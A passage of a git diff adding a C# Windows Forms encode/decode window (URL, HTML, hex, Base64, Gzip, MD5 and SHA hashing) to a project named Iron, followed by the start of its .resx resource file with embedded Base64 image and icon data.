(Sha512HashCmd): + if (ShouldGetBytesFromInput()) + { + ShowEncodeDecodeResult(Tools.SHA512Bytes(InputBytes), Status); + } + else + { + ShowEncodeDecodeResult(Tools.SHA512(InputString), Status); + } + break; + default: + ShowEncodeDecodeResult("", "Command not implemented"); + break; + } + } + catch (Exception Exp) + { + ShowEncodeDecodeResult("", "Error: " + Exp.Message); + } + } + + delegate void ShowEncodeDecodeResult_d(string Result, string Message); + internal void ShowEncodeDecodeResult(string Result, string Message) + { + if (this.InvokeRequired) + { + ShowEncodeDecodeResult_d SEDR_d = new ShowEncodeDecodeResult_d(ShowEncodeDecodeResult); + this.Invoke(SEDR_d, new object[] { Result, Message }); + } + else + { + OutputTB.SetText(Result); + if (Message.Length > 0) + { + StatusTB.BackColor = Color.Red; + } + else + { + StatusTB.BackColor = SystemColors.Control; + } + StatusTB.Text = Message; + EnableAllEncodeDecodeCommandButtons(); + } + } + + delegate void ShowEncodeDecodeResultBytes_d(byte[] Result, string Message); + internal void ShowEncodeDecodeResult(byte[] Result, string Message) + { + if (this.InvokeRequired) + { + ShowEncodeDecodeResultBytes_d SEDR_d = new ShowEncodeDecodeResultBytes_d(ShowEncodeDecodeResult); + this.Invoke(SEDR_d, new object[] { Result, Message }); + } + else + { + OutputTB.SetBytes(Result); + if (Message.Length > 0) + { + StatusTB.BackColor = Color.Red; + } + else + { + StatusTB.BackColor = SystemColors.Control; + } + StatusTB.Text = Message; + EnableAllEncodeDecodeCommandButtons(); + } + } + + void EnableAllEncodeDecodeCommandButtons() + { + UrlEncodeBtn.Enabled = true; + HtmlEncodeBtn.Enabled = true; + HexEncodeBtn.Enabled = true; + Base64EncodeBtn.Enabled = true; + ToHexBtn.Enabled = true; + GzipEncodeBtn.Enabled = true; + UrlDecodeBtn.Enabled = true; + HtmlDecodeBtn.Enabled = true; + HexDecodeBtn.Enabled = true; + Base64DecodeBtn.Enabled = true; + GzipDecodeBtn.Enabled = true; + MD5Btn.Enabled = true; + SHA1Btn.Enabled = true; + SHA256Btn.Enabled = true; + SHA384Btn.Enabled = true; + SHA512Btn.Enabled = true; + } + + void DisableAllButtons() + { + UrlEncodeBtn.Enabled = false; + HtmlEncodeBtn.Enabled = false; + HexEncodeBtn.Enabled = false; + Base64EncodeBtn.Enabled = false; + ToHexBtn.Enabled = false; + GzipEncodeBtn.Enabled = false; + UrlDecodeBtn.Enabled = false; + HtmlDecodeBtn.Enabled = false; + HexDecodeBtn.Enabled = false; + Base64DecodeBtn.Enabled = false; + GzipDecodeBtn.Enabled = false; + MD5Btn.Enabled = false; + SHA1Btn.Enabled = false; + SHA256Btn.Enabled = false; + SHA384Btn.Enabled = false; + SHA512Btn.Enabled = false; + } + + private void UrlEncodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = UrlEncodeCmd; + //Command = new EncodeDecode_d(Tools.UrlEncode); + StartExecution(); + } + + private void HtmlEncodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = HtmlEncodeCmd; + //Command = new EncodeDecode_d(Tools.HtmlEncode); + StartExecution(); + } + + private void HexEncodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = HexEncodeCmd; + //Command = new EncodeDecode_d(Tools.HexEncode); + StartExecution(); + } + + private void Base64EncodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = Base64EncodeCmd; + //Command = new EncodeDecode_d(Tools.Base64Encode); + StartExecution(); + } + + private void ToHexBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = ToHexCmd; + //Command = new EncodeDecode_d(Tools.ToHex); + StartExecution(); + } + + private void GzipEncodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = GzipEncodeCmd; + StartExecution(); + } + + private void UrlDecodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = UrlDecodeCmd; + //Command = new EncodeDecode_d(Tools.UrlDecode); + StartExecution(); + } + + private void HtmlDecodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = HtmlDecodeCmd; + //Command = new EncodeDecode_d(Tools.HtmlDecode); + StartExecution(); + } + + private void HexDecodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = HexDecodeCmd; + //Command = new EncodeDecode_d(Tools.HexDecode); + StartExecution(); + } + + private void Base64DecodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = Base64DecodeCmd; + //Command = new EncodeDecode_d(Tools.Base64Decode); + StartExecution(); + } + + private void GzipDecodeBtn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = GzipDecodeCmd; + StartExecution(); + } + + private void MD5Btn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = Md5HashCmd; + //Command = new EncodeDecode_d(Tools.MD5); + StartExecution(); + } + + private void SHA1Btn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = ShaHashCmd; + //Command = new EncodeDecode_d(Tools.SHA1); + StartExecution(); + } + + private void SHA256Btn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = Sha256HashCmd; + //Command = new EncodeDecode_d(Tools.SHA256); + StartExecution(); + } + + private void SHA384Btn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = Sha384HashCmd; + //Command = new EncodeDecode_d(Tools.SHA384); + StartExecution(); + } + + private void SHA512Btn_Click(object sender, EventArgs e) + { + LastCommand = CurrentCommand; + CurrentCommand = Sha512HashCmd; + //Command = new EncodeDecode_d(Tools.SHA512); + StartExecution(); + } + + bool ShouldGetBytesFromInput() + { + switch (LastCommand) + { + case (UrlDecodeCmd): + case (Base64DecodeCmd): + case (GzipDecodeCmd): + case (HexDecodeCmd): + case (GzipEncodeCmd): + return true; + default: + if (IsInputBinary) + return true; + else + return false; + } + } + + bool ShouldGetBytesFromResult() + { + switch (CurrentCommand) + { + case (UrlDecodeCmd): + case (Base64DecodeCmd): + case (GzipDecodeCmd): + case (HexDecodeCmd): + case (GzipEncodeCmd): + return true; + default: + return false; + } + } + + private void EncodeOutToEncodeInBtn_Click(object sender, EventArgs e) + { + if (ShouldGetBytesFromResult()) + { + InputTB.SetBytes(OutputTB.GetBytes()); + } + else + { + InputTB.SetText(OutputTB.GetText()); + } + } + + private void InputTB_ValueChanged() + { + this.IsInputBinary = InputTB.IsBinary; + } + } +} diff --git a/Iron/EncodeDecodeWindow.resx b/Iron/EncodeDecodeWindow.resx new file mode 100644 index 0000000..9b31f48 --- /dev/null +++ b/Iron/EncodeDecodeWindow.resx @@ -0,0 +1,1983 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + wP8BOFQM+CDYGsAAAAAASUVORK5CYII= + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + 